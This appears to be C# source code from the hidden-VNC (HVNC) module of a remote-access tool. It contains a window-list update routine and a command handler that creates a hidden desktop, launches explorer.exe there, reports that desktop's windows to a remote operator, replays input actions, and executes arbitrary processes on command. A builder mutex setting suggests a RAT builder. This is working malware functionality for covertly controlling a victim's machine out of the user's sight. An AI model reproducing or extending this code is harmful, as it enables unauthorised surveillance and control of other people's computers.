public void Update(WindowUpdate windowUpdate) { if (_isDisposed) { return; } lock (_listLock) { foreach (var windowInformation in windowUpdate.UpdatedWindows) { Windows.FirstOrDefault(x => x.Handle == windowInformation.Handle)?.UpdateData(windowInformation); } foreach (var windowInformation in windowUpdate.NewWindows) { if (Windows.All(x => x.Handle != windowInformation.Handle)) { Windows.Add(new WindowRenderInfo(windowInformation)); } } foreach (var windowToRemove in Windows.Where(x => !windowUpdate.AllWindows.Contains(x.Handle)).ToList()) //ToList is important to allow removing from the list { Windows.Remove(windowToRemove); } Windows = new List <WindowRenderInfo>(windowUpdate.AllWindows.Where( x => Windows.Any(y => y.Handle == x)) .Select(x => Windows.FirstOrDefault(y => y.Handle == x))); /*var windowsIndex = 0; * for (int i = 0; i < windowUpdate.AllWindows.Count; i++) * { * var windowHandle = windowUpdate.AllWindows[i]; * var existingWindow = Windows.FirstOrDefault(x => x.Handle == windowHandle); * if (existingWindow == null) #if DEBUG * throw new Exception("Window does not exist"); #else * continue; #endif * * Windows.Move(Windows.IndexOf(existingWindow), windowsIndex); * windowsIndex++; * }*/ if (windowUpdate.RenderedWindow != null) { var windowToUpdate = Windows.FirstOrDefault(x => x.Handle == windowUpdate.RenderedWindowHandle); windowToUpdate?.UpdateImage(windowUpdate.RenderedWindow); } } _updateReceivedAutoResetEvent.Set(); }
public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo) { switch ((HvncCommunication)parameter[0]) { case HvncCommunication.CreateDesktop: lock (_desktopLock) { var information = new Serializer(typeof(CreateDesktopInformation)).Deserialize <CreateDesktopInformation>( parameter, 1); _currentDesktop = new Desktop(); _currentDesktop.Create(information.CustomName ?? Settings.GetBuilderProperty <MutexBuilderProperty>().Mutex); if (information.StartExplorer) { _currentDesktop.CreateProcess(Path.Combine( #if NET35 EnvironmentExtensions.WindowsFolder, #else Environment.GetFolderPath(Environment.SpecialFolder.Windows), #endif "explorer.exe"), ""); } _renderWindows = new List <RenderWindow>(); } var response = new byte[9]; response[0] = (byte)HvncCommunication.ResponseDesktopCreated; Array.Copy(BitConverter.GetBytes(SystemInformation.VirtualScreen.Width), 0, response, 1, 4); Array.Copy(BitConverter.GetBytes(SystemInformation.VirtualScreen.Height), 0, response, 5, 4); ResponseBytes(response, connectionInfo); break; case HvncCommunication.CloseDesktop: lock (_desktopLock) { if (_currentDesktop?.IsOpen == true) { DisposeSession(); } } ResponseByte((byte)HvncCommunication.ResponseDesktopClosed, connectionInfo); break; case HvncCommunication.GetUpdate: lock (_currentDesktop) { if (_currentDesktop == null || !_currentDesktop.IsOpen) { ResponseByte((byte)HvncCommunication.ResponseUpdateFailed, connectionInfo); return; } try { Desktop.SetCurrent(_currentDesktop); var windows = _currentDesktop.GetWindows(); if (windows == null) { ResponseByte((byte)HvncCommunication.ResponseUpdateFailed, connectionInfo); return; } var windowResult = new WindowUpdate { AllWindows = windows.Select(x => x.Handle.ToInt64()).ToList() }; const int maxWindowNameLength = 100; var ptr = Marshal.AllocHGlobal(maxWindowNameLength); try { foreach (var window in windows) { RECT rect; NativeMethods.GetWindowRect(window.Handle, out rect); NativeMethods.GetWindowText(window.Handle, ptr, maxWindowNameLength); var windowInformation = new WindowInformation { Handle = (int)window.Handle, Height = rect.Height, Width = rect.Width, X = rect.X, Y = rect.Y, Title = Marshal.PtrToStringAnsi(ptr) }; var existingRenderWindow = _renderWindows.FirstOrDefault(x => x.WindowInformation.Handle == (int)window.Handle); if (existingRenderWindow == null) { windowResult.NewWindows.Add(windowInformation); _renderWindows.Add(new RenderWindow(windowInformation, window.Handle)); } else { if (existingRenderWindow.WindowInformation.Equals(windowInformation)) { continue; } windowResult.UpdatedWindows.Add(windowInformation); existingRenderWindow.ApplyWindowInformation(windowInformation); } } } finally { Marshal.FreeHGlobal(ptr); } var windowToRenderHandle = BitConverter.ToInt32(parameter, 1); if (windowToRenderHandle != 0) { var renderWindow = _renderWindows.FirstOrDefault(x => x.WindowInformation.Handle == windowToRenderHandle); if (renderWindow != null) { try { Debug.Print("Render window: " + windowToRenderHandle); //windowResult.RenderedWindow = renderWindow.Render(); if (windowResult.RenderedWindow == null) { Debug.Print("Render failed"); } windowResult.RenderedWindowHandle = renderWindow.WindowInformation.Handle; } catch (Exception) { //shit happens } } } ResponseBytes((byte)HvncCommunication.ResponseUpdate, new Serializer(typeof(WindowUpdate)).Serialize(windowResult), connectionInfo); } catch (Exception) { #if DEBUG throw; #else ResponseByte((byte)HvncCommunication.ResponseUpdateFailed, connectionInfo); #endif } } break; case HvncCommunication.DoAction: lock (_desktopLock) { Debug.Print("Begin DoAction"); DoAction((HvncAction)parameter[1], parameter.Skip(2).ToArray()); Debug.Print("End DoAction"); } break; case HvncCommunication.ExecuteProcess: lock (_desktopLock) { Debug.Print("Begin ExecuteProcess"); _currentDesktop.CreateProcess(Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1), ""); Debug.Print("End ExecuteProcess"); } connectionInfo.CommandResponse(this, new[] { (byte)HvncCommunication.ResponseProcessExecuted }); break; default: throw new ArgumentOutOfRangeException(); } }